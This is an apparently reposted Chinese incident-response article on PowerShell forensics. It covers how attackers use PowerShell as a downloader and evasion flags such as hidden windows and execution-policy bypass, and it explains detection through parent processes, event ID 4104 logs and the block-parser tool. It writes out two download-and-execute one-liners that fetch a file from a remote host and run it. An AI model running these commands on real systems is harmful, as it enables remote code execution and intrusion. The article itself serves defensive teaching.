huasec 05月14日 18:26
应急响应之powershell取证
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文探讨了PowerShell在Windows系统中的广泛应用及其带来的安全挑战。PowerShell作为强大的工具,既能提高工作效率,也为攻击者提供了实施恶意活动的新途径,如权限提升、凭据盗窃等。文章重点介绍了攻击者如何利用PowerShell进行无文件攻击,以及如何通过隐藏窗口、绕过执行策略等方式隐藏恶意行为。此外,文章还提供了检测和分析PowerShell攻击的方法,包括观察进程父子关系和利用事件日志来追踪恶意脚本,并推荐了block-parser等工具进行分析,从而帮助用户更好地理解和防范PowerShell相关的安全威胁。

💻PowerShell的广泛应用:PowerShell在Windows系统中应用广泛,为用户提供了便利,但同时也为攻击者提供了丰富的恶意活动实施手段,如权限提升、凭据盗窃、数据破坏等。

⚠️恶意PowerShell的攻击方式:攻击者常利用PowerShell作为下载器,从远程服务器下载恶意脚本并在受害机器上执行。例如,攻击者会下载文件并执行,或者将远程文件的内容直接复制到内存中进行无文件攻击。

🛡️攻击者使用的隐蔽技术:攻击者会使用PowerShell的参数选项来隐藏操作,如-WindowStyle hidden隐藏程序窗口,-Exec Bypass绕过执行策略,-Command执行命令,-EncodedCommand传递编码命令等。

🔍检测PowerShell攻击的方法:通过观察PowerShell进程的父子关系(如cmd.exe)来判断是否为恶意行为;利用Windows事件日志(Microsoft-Windows-PowerShell - Operational.evtx)中的事件ID 4104来记录和分析PowerShell的执行命令,并使用block-parser等工具解析脚本。

原创 花十一一 2021-07-27 09:02

powershell取证

                                 01


介绍


      PowerShell在Windows操作系统中应用越来越广泛,在带来方便的同时,它还为攻击者提供了一套几乎前所未有的功能。PowerShell 可以实现几乎所有可以想象的恶意活动:权限提升、凭据盗窃、横向移动、数据破坏、持久性、数据泄露等等。恶意PowerShell 正在被广泛使用。通常攻击者会使用powershell做下载器,从远程服务器下载恶意ps脚本到受害机器,然后使用start- process、Invoke-Item或file将远程文件的内容写到到受害机器的内存中并从那里执行它。

例如:从远程下载1.txt文件保存在C:\Users\<user>\AppData\Roaming路径下并执行

    (New-Object Net.WebClient).downloadfile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Invoke-Item$env:Appdata"\whoami.txt"

    当然上述例子,也可以换种方式来写,

      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-nop -Exec Bypass -Command (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Start-Process $env:APPDATA"\whoami.txt"

      DownloadString()不下载文件到主机上,但它将远程文件的内容直接复制到受害机器的内存中。这种技术被广泛用于无文件攻击中。如下,1.txt中是whoami,通过powershell调用执行whoami

      另外,攻击者还会使用PowerShell中各种可用的参数选项来使操作尽可能隐蔽。以下是在攻击中广泛使用的参数

      - WindowStyle hidden / -w hidden: 对用户隐藏程序窗口

      -Exec Bypass: 绕过/忽略像Restricted这样限制PowerShell脚本运行的执行策略

      -Command / -c: PowerShell终端执行任何命令

      -EncodedCommand/ -e/ --enc: 将编码后的参数作为命令行传递

      -Nop / -noprofile: 忽略Profile文件中的命令。


      02


      检测

      观察PowerShell进程的父子关系

      通常,当我们使用windows开始菜单或直接点击powershell文件运行PowerShell时,它会在进程Explorer .exe下启动,

      但是在PowerShell攻击中,PowerShell脚本/命令是通过命令行进程启动的,因此在攻击中PowerShell进程的父进程是cmd.exe。当然有些正常环境也是使用cmd启动powershell,故需要结合cmd的父进程是否为恶意。

      日志上

      Microsoft-Windows-PowerShell - Operational.evtx记录了主机上的powershell历史执行命令。其中事件ID 4104(执行远程命令)中的 Scriptblock 文本通常包含执行操作的代码。

      可以使用block-parser进行解析,下载地址:

      https://github.com/matthewdunwoody/block-parser

      依赖库:lxmlpython-evtx

      使用方法:

        将所有powershell脚本解析到一个文件中>python block-parser.py -a -foutput "Microsoft-Windows-PowerShell%4Operational.evtx"将每个powershell脚本单独解析到一个文件中>python block-parser.py -o  output2  "Microsoft-Windows-PowerShell%4Operational.evtx"




        阅读原文

        跳转微信打开

        Fish AI Reader

        Fish AI Reader

        AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

        FishAI

        FishAI

        鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

        联系邮箱 441953276@qq.com

        相关标签

        PowerShell 取证 安全
        相关文章